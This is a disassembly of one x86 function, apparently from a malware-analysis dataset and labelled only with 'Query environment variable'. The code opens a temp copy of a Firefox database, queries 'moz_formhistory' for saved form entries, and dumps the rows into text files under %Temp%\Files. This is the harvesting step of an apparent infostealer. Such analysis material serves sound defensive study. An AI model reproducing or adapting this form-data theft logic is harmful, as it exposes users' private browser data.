Function at 0x408f70
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfd48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x688
push esi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x74]
call fcn.00405bc0
add esp, 4
push str._fehS8.tmp
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x408fc5
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x280]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x409014
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40900a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409374
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 8
jb 0x409069
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40905f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409374
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.0049d450
add esp, 8
test eax, eax
jne 0x409365
mov ecx, dword [ebp - 0x14]
mov edx, str.SELECT__FROM_moz_formhistory
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.00477e90
add esp, 0x14
test eax, eax
jne 0x40935b
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x74]
call fcn.00405bc0
add esp, 4
push str._Files_AllForms_list.txt
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4090dd
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x488]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x409126
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40911c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409379
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 8
jb 0x40917b
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409171
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409379
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x5c]
call fcn.00405bc0
add esp, 4
push str._files__forms.txt
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x44]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4091b1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x690]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x4091fa
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4091f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40937e
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
cmp edx, 8
jb 0x40924f
mov ecx, dword [ebp - 0x5c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409245
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40937e
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x5c], ax
lea eax, [ebp - 0x488]
push 0x4c7018
push eax
mov dword [ebp - 0x48], 7
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4092db
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x4092d2
nop dword [eax]
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push str._s______
push esi
call fcn.00401120
add esp, 0x14
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0x14
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x409290
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x690]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409350
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x409347
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push str._s_____
push esi
call fcn.00401120
add esp, 0x14
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0x14
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x409305
push esi
call fcn.004a5e1b
add esp, 4
push dword [ebp - 0x10]
call fcn.00441810
add esp, 4
mov ecx, dword [ebp - 0x14]
xor edx, edx
call fcn.0049acf0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3